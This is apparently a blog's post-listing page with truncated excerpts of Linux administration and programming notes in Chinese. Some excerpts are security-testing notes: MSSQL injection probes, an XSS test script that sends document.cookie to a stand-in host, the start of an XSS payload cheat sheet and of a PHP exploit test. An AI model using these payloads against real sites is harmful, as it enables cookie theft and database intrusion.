原创 YUM 使用

 yum是幹什麼的   使用redhat,fedora的linuxer肯定都爲rpm著名的dependency hell而頭疼(這也是所有基於rpm發行版都有的問題)。foo is needed by bar,bar is needed b

原创 centos 設置ip

 一、CentOS 修改IP地址 修改對應網卡的IP地址的配置文件    # vi /etc/sysconfig/network-scripts/ifcfg-eth0      修改以下內容   DEVICE=eth0 #描述網卡對

原创 centos yum 源

# 備份 # mv /etc/yum.repos.d/CentOS-Base.repo{,.bak} # 修改 # vi /etc/yum.repos.d/CentOS-Base.repo # CentOS-Base.repo  

原创 我的友情鏈接

51CTO博客開發

原创 mssql注入筆記

MSSQL注入: and exists (select * from sysobjects) //判斷是否是MSSQL and exists(select * from tableName) //判斷某表是否存在..tableName爲

原创 LINUX驅動整理

在LINUX環境開發驅動程序,首先要探測到新硬件,接下來就是開發驅動程序。 常用命令整理如下: 用硬件檢測程序kuduz探測新硬件:service kudzu start ( or restart) 查看CPU信息:cat /proc/

原创 linux C語言控制蜂鳴器的發聲

#include   <sys/io.h>  #include   <unistd.h>  void   play(unsigned   int*   freq,   unsigned   int*   delay);  m

原创 Linux 2.6.21 中net_deviced定義

內核頭文件下 include/linux/netdevice.h Linux 2.6.21中,對net_device定義如下: struct net_device {      //設備的名稱,例如常見的“eth0”等   

原创 預防udp***

以下教您通過改變一些linux服務器及php的安全的設置,來禁止掛馬後成爲ddos***源 1.php.ini禁掉php調用系統的exec之類的參數 在php.ini中加入如下一行 disable_functions=symlink

原创 簡單XSS測試

<script>alert('xss test');</script> <script>document.location='http://127.0.0.1/1.asp?msg='+document.cookie</script>

原创 exp 利用測試

<?php global $tmp_expstr, $id; $id=$_GET['id']; //$_GET['$tmp_expstr']; //$id=str_replace(" ","%20",$id); //$id=str

原创 對象 序列化 實現深拷貝

Feature feature = new Feature(); f[i]=(Feature)feature.deepClone();   public class Feature  implements Serializable{  

原创 新內核變化查詢 linux 3.0.0 沒有dev_base全局變量

http://lxr.oss.org.cn/find?v=2.6.35;string=smp_lock.h 內核變化查詢   使用全局變量 init_net dev_get_by_index(&init_net,index);獲得struc

原创 XSS***測試語句大全

跨站腳本=XSS***測試語句大全 url: %3C=<   %3E=>   %22="   %2e=.   (=%28   '=%27    )=%29   /=%2F   ;=%3B hex:0x3C=< 0x3E=> 0x22=

原创 異步提交 回調函數 獲得json record值

純 AJAX //    if(window.XMLHttpRequest){ //        var xmlhttp=new XMLHttpRequest(); //        xmlhttp.onreadystatecha